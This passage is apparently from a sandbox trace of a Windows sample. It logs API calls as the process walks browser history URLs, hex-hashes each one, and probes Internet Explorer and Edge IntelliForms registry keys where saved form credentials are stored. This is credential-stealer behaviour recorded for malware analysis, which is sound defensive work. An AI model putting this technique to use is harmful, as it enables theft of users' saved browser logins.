returned="35582C96FEBE0EEC1F3030F400F7A65F" [0053.534] LocalFree (hMem=0x758820) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="17") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A65F") returned 32 [0053.534] lstrlenA (lpString="17") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.534] lstrcpyA (in: lpString1=0x754820, lpString2="35582C96FEBE0EEC1F3030F400F7A65F" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F") returned="35582C96FEBE0EEC1F3030F400F7A65F" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A65F", lpString2="17" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F17") returned="35582C96FEBE0EEC1F3030F400F7A65F17" [0053.534] LocalFree (hMem=0x754a30) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9B") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A65F17") returned 34 [0053.534] lstrlenA (lpString="9B") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754a30 [0053.534] lstrcpyA (in: lpString1=0x754a30, lpString2="35582C96FEBE0EEC1F3030F400F7A65F17" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F17") returned="35582C96FEBE0EEC1F3030F400F7A65F17" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A65F17", lpString2="9B" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B") returned="35582C96FEBE0EEC1F3030F400F7A65F179B" [0053.534] LocalFree (hMem=0x754820) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2A") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A65F179B") returned 36 [0053.534] lstrlenA (lpString="2A") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.534] lstrcpyA (in: lpString1=0x754820, lpString2="35582C96FEBE0EEC1F3030F400F7A65F179B" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B") returned="35582C96FEBE0EEC1F3030F400F7A65F179B" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B", lpString2="2A" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A") returned="35582C96FEBE0EEC1F3030F400F7A65F179B2A" [0053.534] LocalFree (hMem=0x754a30) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="27") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A65F179B2A") returned 38 [0053.534] lstrlenA (lpString="27") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.534] lstrcpyA (in: lpString1=0x750a48, lpString2="35582C96FEBE0EEC1F3030F400F7A65F179B2A" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A") returned="35582C96FEBE0EEC1F3030F400F7A65F179B2A" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A", lpString2="27" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A27") returned="35582C96FEBE0EEC1F3030F400F7A65F179B2A27" [0053.534] LocalFree (hMem=0x754820) returned 0x0 [0053.534] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="77") returned 2 [0053.534] lstrlenA (lpString="35582C96FEBE0EEC1F3030F400F7A65F179B2A27") returned 40 [0053.534] lstrlenA (lpString="77") returned 2 [0053.534] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.534] lstrcpyA (in: lpString1=0x750bb8, lpString2="35582C96FEBE0EEC1F3030F400F7A65F179B2A27" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A27") returned="35582C96FEBE0EEC1F3030F400F7A65F179B2A27" [0053.534] lstrcatA (in: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A27", lpString2="77" | out: lpString1="35582C96FEBE0EEC1F3030F400F7A65F179B2A2777") returned="35582C96FEBE0EEC1F3030F400F7A65F179B2A2777" [0053.534] LocalFree (hMem=0x750a48) returned 0x0 [0053.534] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.534] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.534] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.535] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.535] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.535] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.535] LocalFree (hMem=0x750bb8) returned 0x0 [0053.535] CoTaskMemFree (pv=0x748290) [0053.535] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.535] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xHYITZgObAq8.png", lpSrch="?") returned 0x0 [0053.535] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xHYITZgObAq8.png") returned 66 [0053.535] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.535] lstrlenA (lpString="") returned 0 [0053.535] lstrlenA (lpString="CA") returned 2 [0053.535] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75f9d0 [0053.535] lstrcpyA (in: lpString1=0x75f9d0, lpString2="" | out: lpString1="") returned="" [0053.535] lstrcatA (in: lpString1="", lpString2="CA" | out: lpString1="CA") returned="CA" [0053.535] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FC") returned 2 [0053.535] lstrlenA (lpString="CA") returned 2 [0053.535] lstrlenA (lpString="FC") returned 2 [0053.535] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fa60 [0053.535] lstrcpyA (in: lpString1=0x75fa60, lpString2="CA" | out: lpString1="CA") returned="CA" [0053.535] lstrcatA (in: lpString1="CA", lpString2="FC" | out: lpString1="CAFC") returned="CAFC" [0053.535] LocalFree (hMem=0x75f9d0) returned 0x0 [0053.535] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C7") returned 2 [0053.535] lstrlenA (lpString="CAFC") returned 4 [0053.535] lstrlenA (lpString="C7") returned 2 [0053.535] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75f9d0 [0053.535] lstrcpyA (in: lpString1=0x75f9d0, lpString2="CAFC" | out: lpString1="CAFC") returned="CAFC" [0053.535] lstrcatA (in: lpString1="CAFC", lpString2="C7" | out: lpString1="CAFCC7") returned="CAFCC7" [0053.535] LocalFree (hMem=0x75fa60) returned 0x0 [0053.535] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.535] lstrlenA (lpString="CAFCC7") returned 6 [0053.535] lstrlenA (lpString="05") returned 2 [0053.535] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x761db8 [0053.535] lstrcpyA (in: lpString1=0x761db8, lpString2="CAFCC7" | out: lpString1="CAFCC7") returned="CAFCC7" [0053.535] lstrcatA (in: lpString1="CAFCC7", lpString2="05" | out: lpString1="CAFCC705") returned="CAFCC705" [0053.535] LocalFree (hMem=0x75f9d0) returned 0x0 [0053.535] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5E") returned 2 [0053.535] lstrlenA (lpString="CAFCC705") returned 8 [0053.535] lstrlenA (lpString="5E") returned 2 [0053.535] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x761e50 [0053.535] lstrcpyA (in: lpString1=0x761e50, lpString2="CAFCC705" | out: lpString1="CAFCC705") returned="CAFCC705" [0053.535] lstrcatA (in: lpString1="CAFCC705", lpString2="5E" | out: lpString1="CAFCC7055E") returned="CAFCC7055E" [0053.536] LocalFree (hMem=0x761db8) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E") returned 10 [0053.536] lstrlenA (lpString="05") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x761db8 [0053.536] lstrcpyA (in: lpString1=0x761db8, lpString2="CAFCC7055E" | out: lpString1="CAFCC7055E") returned="CAFCC7055E" [0053.536] lstrcatA (in: lpString1="CAFCC7055E", lpString2="05" | out: lpString1="CAFCC7055E05") returned="CAFCC7055E05" [0053.536] LocalFree (hMem=0x761e50) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="68") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E05") returned 12 [0053.536] lstrlenA (lpString="68") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x761e50 [0053.536] lstrcpyA (in: lpString1=0x761e50, lpString2="CAFCC7055E05" | out: lpString1="CAFCC7055E05") returned="CAFCC7055E05" [0053.536] lstrcatA (in: lpString1="CAFCC7055E05", lpString2="68" | out: lpString1="CAFCC7055E0568") returned="CAFCC7055E0568" [0053.536] LocalFree (hMem=0x761db8) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568") returned 14 [0053.536] lstrlenA (lpString="B6") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x761ee8 [0053.536] lstrcpyA (in: lpString1=0x761ee8, lpString2="CAFCC7055E0568" | out: lpString1="CAFCC7055E0568") returned="CAFCC7055E0568" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568", lpString2="B6" | out: lpString1="CAFCC7055E0568B6") returned="CAFCC7055E0568B6" [0053.536] LocalFree (hMem=0x761e50) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7C") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568B6") returned 16 [0053.536] lstrlenA (lpString="7C") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x761db8 [0053.536] lstrcpyA (in: lpString1=0x761db8, lpString2="CAFCC7055E0568B6" | out: lpString1="CAFCC7055E0568B6") returned="CAFCC7055E0568B6" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568B6", lpString2="7C" | out: lpString1="CAFCC7055E0568B67C") returned="CAFCC7055E0568B67C" [0053.536] LocalFree (hMem=0x761ee8) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568B67C") returned 18 [0053.536] lstrlenA (lpString="C1") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x761e58 [0053.536] lstrcpyA (in: lpString1=0x761e58, lpString2="CAFCC7055E0568B67C" | out: lpString1="CAFCC7055E0568B67C") returned="CAFCC7055E0568B67C" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568B67C", lpString2="C1" | out: lpString1="CAFCC7055E0568B67CC1") returned="CAFCC7055E0568B67CC1" [0053.536] LocalFree (hMem=0x761db8) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="43") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568B67CC1") returned 20 [0053.536] lstrlenA (lpString="43") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x761db8 [0053.536] lstrcpyA (in: lpString1=0x761db8, lpString2="CAFCC7055E0568B67CC1" | out: lpString1="CAFCC7055E0568B67CC1") returned="CAFCC7055E0568B67CC1" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568B67CC1", lpString2="43" | out: lpString1="CAFCC7055E0568B67CC143") returned="CAFCC7055E0568B67CC143" [0053.536] LocalFree (hMem=0x761e58) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568B67CC143") returned 22 [0053.536] lstrlenA (lpString="DC") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.536] lstrcpyA (in: lpString1=0x758820, lpString2="CAFCC7055E0568B67CC143" | out: lpString1="CAFCC7055E0568B67CC143") returned="CAFCC7055E0568B67CC143" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143", lpString2="DC" | out: lpString1="CAFCC7055E0568B67CC143DC") returned="CAFCC7055E0568B67CC143DC" [0053.536] LocalFree (hMem=0x761db8) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9D") returned 2 [0053.536] lstrlenA (lpString="CAFCC7055E0568B67CC143DC") returned 24 [0053.536] lstrlenA (lpString="9D") returned 2 [0053.536] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.536] lstrcpyA (in: lpString1=0x758a18, lpString2="CAFCC7055E0568B67CC143DC" | out: lpString1="CAFCC7055E0568B67CC143DC") returned="CAFCC7055E0568B67CC143DC" [0053.536] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC", lpString2="9D" | out: lpString1="CAFCC7055E0568B67CC143DC9D") returned="CAFCC7055E0568B67CC143DC9D" [0053.536] LocalFree (hMem=0x758820) returned 0x0 [0053.536] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8F") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D") returned 26 [0053.537] lstrlenA (lpString="8F") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.537] lstrcpyA (in: lpString1=0x758820, lpString2="CAFCC7055E0568B67CC143DC9D" | out: lpString1="CAFCC7055E0568B67CC143DC9D") returned="CAFCC7055E0568B67CC143DC9D" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D", lpString2="8F" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F") returned="CAFCC7055E0568B67CC143DC9D8F" [0053.537] LocalFree (hMem=0x758a18) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F") returned 28 [0053.537] lstrlenA (lpString="13") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.537] lstrcpyA (in: lpString1=0x758a18, lpString2="CAFCC7055E0568B67CC143DC9D8F" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F") returned="CAFCC7055E0568B67CC143DC9D8F" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F", lpString2="13" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13") returned="CAFCC7055E0568B67CC143DC9D8F13" [0053.537] LocalFree (hMem=0x758820) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AB") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13") returned 30 [0053.537] lstrlenA (lpString="AB") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.537] lstrcpyA (in: lpString1=0x754820, lpString2="CAFCC7055E0568B67CC143DC9D8F13" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13") returned="CAFCC7055E0568B67CC143DC9D8F13" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13", lpString2="AB" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB") returned="CAFCC7055E0568B67CC143DC9D8F13AB" [0053.537] LocalFree (hMem=0x758a18) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13AB") returned 32 [0053.537] lstrlenA (lpString="2C") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754a30 [0053.537] lstrcpyA (in: lpString1=0x754a30, lpString2="CAFCC7055E0568B67CC143DC9D8F13AB" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB") returned="CAFCC7055E0568B67CC143DC9D8F13AB" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB", lpString2="2C" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C" [0053.537] LocalFree (hMem=0x754820) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13AB2C") returned 34 [0053.537] lstrlenA (lpString="56") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.537] lstrcpyA (in: lpString1=0x754820, lpString2="CAFCC7055E0568B67CC143DC9D8F13AB2C" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C", lpString2="56" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C56") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C56" [0053.537] LocalFree (hMem=0x754a30) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="91") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13AB2C56") returned 36 [0053.537] lstrlenA (lpString="91") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754a30 [0053.537] lstrcpyA (in: lpString1=0x754a30, lpString2="CAFCC7055E0568B67CC143DC9D8F13AB2C56" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C56") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C56" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C56", lpString2="91" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C5691" [0053.537] LocalFree (hMem=0x754820) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BD") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13AB2C5691") returned 38 [0053.537] lstrlenA (lpString="BD") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.537] lstrcpyA (in: lpString1=0x750bb8, lpString2="CAFCC7055E0568B67CC143DC9D8F13AB2C5691" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C5691" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691", lpString2="BD" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD" [0053.537] LocalFree (hMem=0x754a30) returned 0x0 [0053.537] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="29") returned 2 [0053.537] lstrlenA (lpString="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD") returned 40 [0053.537] lstrlenA (lpString="29") returned 2 [0053.537] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.537] lstrcpyA (in: lpString1=0x750a48, lpString2="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD" [0053.537] lstrcatA (in: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD", lpString2="29" | out: lpString1="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD29") returned="CAFCC7055E0568B67CC143DC9D8F13AB2C5691BD29" [0053.537] LocalFree (hMem=0x750bb8) returned 0x0 [0053.537] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.538] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.538] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.538] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.538] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.538] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.538] LocalFree (hMem=0x750a48) returned 0x0 [0053.538] CoTaskMemFree (pv=0x75f928) [0053.538] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.538] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Z98Sl-qVG_MnHL4m.odp", lpSrch="?") returned 0x0 [0053.538] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Z98Sl-qVG_MnHL4m.odp") returned 64 [0053.538] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D9") returned 2 [0053.538] lstrlenA (lpString="") returned 0 [0053.538] lstrlenA (lpString="D9") returned 2 [0053.538] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fc10 [0053.538] lstrcpyA (in: lpString1=0x75fc10, lpString2="" | out: lpString1="") returned="" [0053.538] lstrcatA (in: lpString1="", lpString2="D9" | out: lpString1="D9") returned="D9" [0053.538] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.538] lstrlenA (lpString="D9") returned 2 [0053.538] lstrlenA (lpString="26") returned 2 [0053.538] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fca0 [0053.538] lstrcpyA (in: lpString1=0x75fca0, lpString2="D9" | out: lpString1="D9") returned="D9" [0053.538] lstrcatA (in: lpString1="D9", lpString2="26" | out: lpString1="D926") returned="D926" [0053.538] LocalFree (hMem=0x75fc10) returned 0x0 [0053.538] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.538] lstrlenA (lpString="D926") returned 4 [0053.538] lstrlenA (lpString="90") returned 2 [0053.538] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fc10 [0053.538] lstrcpyA (in: lpString1=0x75fc10, lpString2="D926" | out: lpString1="D926") returned="D926" [0053.538] lstrcatA (in: lpString1="D926", lpString2="90" | out: lpString1="D92690") returned="D92690" [0053.538] LocalFree (hMem=0x75fca0) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.539] lstrlenA (lpString="D92690") returned 6 [0053.539] lstrlenA (lpString="64") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x761db8 [0053.539] lstrcpyA (in: lpString1=0x761db8, lpString2="D92690" | out: lpString1="D92690") returned="D92690" [0053.539] lstrcatA (in: lpString1="D92690", lpString2="64" | out: lpString1="D9269064") returned="D9269064" [0053.539] LocalFree (hMem=0x75fc10) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8B") returned 2 [0053.539] lstrlenA (lpString="D9269064") returned 8 [0053.539] lstrlenA (lpString="8B") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x761e50 [0053.539] lstrcpyA (in: lpString1=0x761e50, lpString2="D9269064" | out: lpString1="D9269064") returned="D9269064" [0053.539] lstrcatA (in: lpString1="D9269064", lpString2="8B" | out: lpString1="D92690648B") returned="D92690648B" [0053.539] LocalFree (hMem=0x761db8) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8D") returned 2 [0053.539] lstrlenA (lpString="D92690648B") returned 10 [0053.539] lstrlenA (lpString="8D") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x761db8 [0053.539] lstrcpyA (in: lpString1=0x761db8, lpString2="D92690648B" | out: lpString1="D92690648B") returned="D92690648B" [0053.539] lstrcatA (in: lpString1="D92690648B", lpString2="8D" | out: lpString1="D92690648B8D") returned="D92690648B8D" [0053.539] LocalFree (hMem=0x761e50) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D3") returned 2 [0053.539] lstrlenA (lpString="D92690648B8D") returned 12 [0053.539] lstrlenA (lpString="D3") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x761e50 [0053.539] lstrcpyA (in: lpString1=0x761e50, lpString2="D92690648B8D" | out: lpString1="D92690648B8D") returned="D92690648B8D" [0053.539] lstrcatA (in: lpString1="D92690648B8D", lpString2="D3" | out: lpString1="D92690648B8DD3") returned="D92690648B8DD3" [0053.539] LocalFree (hMem=0x761db8) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.539] lstrlenA (lpString="D92690648B8DD3") returned 14 [0053.539] lstrlenA (lpString="30") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x761ee8 [0053.539] lstrcpyA (in: lpString1=0x761ee8, lpString2="D92690648B8DD3" | out: lpString1="D92690648B8DD3") returned="D92690648B8DD3" [0053.539] lstrcatA (in: lpString1="D92690648B8DD3", lpString2="30" | out: lpString1="D92690648B8DD330") returned="D92690648B8DD330" [0053.539] LocalFree (hMem=0x761e50) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="34") returned 2 [0053.539] lstrlenA (lpString="D92690648B8DD330") returned 16 [0053.539] lstrlenA (lpString="34") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x761db8 [0053.539] lstrcpyA (in: lpString1=0x761db8, lpString2="D92690648B8DD330" | out: lpString1="D92690648B8DD330") returned="D92690648B8DD330" [0053.539] lstrcatA (in: lpString1="D92690648B8DD330", lpString2="34" | out: lpString1="D92690648B8DD33034") returned="D92690648B8DD33034" [0053.539] LocalFree (hMem=0x761ee8) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: 